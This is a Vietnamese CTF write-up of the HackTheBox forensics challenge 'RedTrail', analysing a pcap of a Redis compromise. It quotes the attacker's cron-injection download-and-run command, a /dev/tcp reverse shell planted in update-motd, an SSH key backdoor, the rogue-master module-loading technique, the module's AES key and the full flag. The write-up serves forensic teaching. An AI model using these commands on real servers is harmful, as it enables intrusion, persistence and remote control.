RedTrail là một challenge của HackTheBox,
Đây là description của đề
Our SOC team detected a suspicious activity on one of our redis instance. Despite the fact it was password protected it seems that the attacker still obtained access to it. We need to put in place a remediation strategy as soon as possible, to do that it’s necessary to gather more informations about the attack used. NOTE: flag is composed by three parts.
oke cùng giải quyết nó nào
Initial Access
Tải attachment, đề cho chúng ta một file .pcap, mở bằng nó bằng wireshark
Chúng ta có thể thấy, có rất nhiều gói RESP (REdis Serialization Protocol), thì đây là một giao thức được thiết kế đặt biệt cho việc client-server communication trong Redis Mình sẽ để một số nguồn tham khảo cho các bạn muốn tìm hiểu sau về giao thức này: https://github.com/redis/redis-specifications/blob/master/protocol/RESP2.md https://redis-doc-test.readthedocs.io/en/latest/topics/protocol/)
Follow TCP Stream để xem cụ thể nội dung các gói này là gì
tcp.stream eq 0
Ở stream 0 này, ta thấy attacker đã thực hiện xác thực thông qua lệnh AUTH và password:1943567864 chứng tỏ attacker đã có được thông tin đăng nhập này bằng một cách nào đó (author không cho chúng ta context cụ thể ở phần này).
Sau khi có được quyền truy cập, attacker thực hiện hành vi reconnaissance server Redis
Credential Exfiltration
tiếp theo, ta có thể thấy attacker đang enumeration và trích xuất các credential
và ở đây ta được Flag-part2: _c0uld_0p3n_n3w
ở đây ta thấy được attacker sử dụng các lệnh:
CONFIG SET DIR /var/spool/cron
CONFIG SET DBFILENAME root
SET TY1RI8 * * * * * wget -O VgLy8V0Zxo 'http://files.pypi-install.com/packages/VgLy8V0Zxo' && bash VgLy8V0Zxo
từ đó ta biết được rằng attacker đang thực hiện việc inject vào cronjob để thực thi việc drop malware và persistence.
và vào phần export của wireshark, ta thấy được file bị inject vào, dump nó ra để phân tích thoi
ở đây shell chỉ thực hiện việc tách chuỗi thoi, không có gì khó để recover lại
ta thấy đoạn base64 này đang bị reverse thoi
Persistence
sử dụng cyberchef để decode thì ta thấy nó đang thực hiện một bash script khác.
Thì bash script này cũng đang thực hiện việc nối các biến chứa chuỗi base64 rồi decode và gọi bash để thực thi, ta có thể viết lại như sau:
ở đây chúng ta thấy rõ ràng persistence theo 2 hướng khác nhau:
Hướng 1: attacker sẽ ghi bash -c "bash -i >& /dev/tcp/10.10.0.200/1337 0>&1" vào file /etc/update-motd.d/00-header, thì file này sẽ được thực thi để print ra banner khi có người dùng kết nối và đăng nhập thông qua SSH. Vậy nên khi có người đăng nhập vào, thì server gửi một reverse shell về 10.10.0.200:1337 của attacker
Hướng 2: script sẽ ghi vào ~/.ssh/authorized_keys một key của attacker từ đó tạo thêm một backdoor khác mà attacker có thể dùng để access đến server victim.
Trong key này, ta cũng thấy được Flag-part1: HTB{r3d15_1n574nc35
Write malicious RDB & RCE:
Đến với stream tiếp theo
Ta thấy attacker đang thực thi một số lệnh như:
AUTH 1943567864
SLAVEOF 10.10.0.15 6379: cho phép attacker gửi file RDB tùy ý
CONFIG SET DIR /data: CONFIG SET dbfilename x10SPFHN.so (Attacker chuẩn bị drop malicious Redis module)
MODULE LOAD ./x10SPFHN.so: Redis load module độc hại
SLAVEOF NO ONE, CONFIG SET dbfilename dump.rdb, system.exec rm -v ./x10SPFHN.so: Xóa dấu vết
Drop malware
wget --no-check-certificate -O gezsdSC8i3 'https://files.pypi-install.com/packages/gezsdSC8i3' && bash gezsdSC8i3 : thể hiện rõ ràng hành vi drop và thực thi malware
sau đó
MODULE UNLOAD system: xóa dấu vết
oke nhìn vào các response của server, ta thấy output các lệnh RCE của attacker đã bị mã hóa.
Reverse Engineering
Dump malicious .SO file
Tiếp đến stream này, rõ ràng tác giả đã cố tình ép cho server phải FULLRESYNC, từ đó in ra đầy đủ file ELF, File này có thể chính là file x10SPFHN.so mà ta thấy đã bị write out ở stream trước.
Nhưng có một vấn đề là, do file này được đang được hiển thị thông replication payload, nên wireshark không hiểu được đây là một object file, nên sẽ không dump được theo cách thông thường.
để dump được, ta chuyển show data as thành raw, sao đó copy từ đoạn 7F 45 4c 46 (*ELF - đây là header của executable file)
sau đó dùng cyberchef để wrap lại thành file ELF hoàn chỉnh và save xuống.
oke ngonn lành:>>
RE with IDA
Oke giờ load file x10SPFHN.so vào IDA
Toi cũng không biết tại sao file này lại không mở được tab Strings, thoi kệ, lướt chay xuống .rodata đọc luôn.
oke thì ở đây toi thấy được string system.exec, chính là lệnh mà attacker đã gọi ra để thực thi các lệnh RCE mà ta thấy ở stream 2
xem xrefs thì thấy nó đang được gọi ở hàm RedisModule_OnLoad
Tóm tắt thì trong sau khi Module độc hại sau khi được load thì sẽ đăng ký một command mới là system.exec, lệnh này nó sẽ gọi tới hàm DoCommand và nhận vào các tham số để thực thi theo cú pháp sau system.exec <args>
oke tiếp theo thì phân tích hàm DoCommand
Ở biến command,nó sẽ giữ giá trị là lệnh hệ điều hành do attacker gửi vào Redis.
Sau đó nó dùng popen() để thực thi lệnh này. Đọc stdout của command từng phần fgets sau đó wrap lại hoàn chỉnh toàn bộ output vào buffer dest => Remote Command Execution hoàn chỉnh.
Tiếp đến, script thực hiện setup mã hóa output của command bằng AES-256-CBC, với KEY và IV lần lượt là các biến src và v28 với giá trị là KEY = "h02B6aVgu09Kzu9QTvTOtgx9oER9WIoz", IV = "YDP7ECjzuV7sagMN"
sau khi đã mã hóa, nó dùng dòng lặp để duyệt và convert các byte đã được mã hóa sang string hex, và gọi hàm RedisModule_ReplyWithString() để gửi lại output đến Redis client
oke dựa vào quy trình mã hóa này cùng với KEY và IV, ta sẽ decrypt lại các output đã thấy ở stream 2
với các lệnh và output trên, ta lần lượt decrypt và đây là kết quả:
và đặt biệt, với lệnh:
system.exec wget --no-check-certificate -O gezsdSC8i3 'https://files.pypi-install.com/packages/gezsdSC8i3' && bash gezsdSC8i3
thì có thể đoán được file gezsdSC8i3 mà attacker tải về và thực thi là để trích xuất các biến môi trường và trong các giá trị của biến môi trường này ta cũng có được FLAG-PART3:_un3xp3c73d_7r41l5!}
wrap 3 part lại, ta được flag hoàn chỉnh:
HTB{r3d15_1n574nc35_c0uld_0p3n_n3w_un3xp3c73d_7r41l5!}
Cảm ơn mọi người đã đọc đến đây, chúc một ngày tốt lành
(\_/)
(•.•)
(>☕
–– SawG, a.k.a EagleBoiz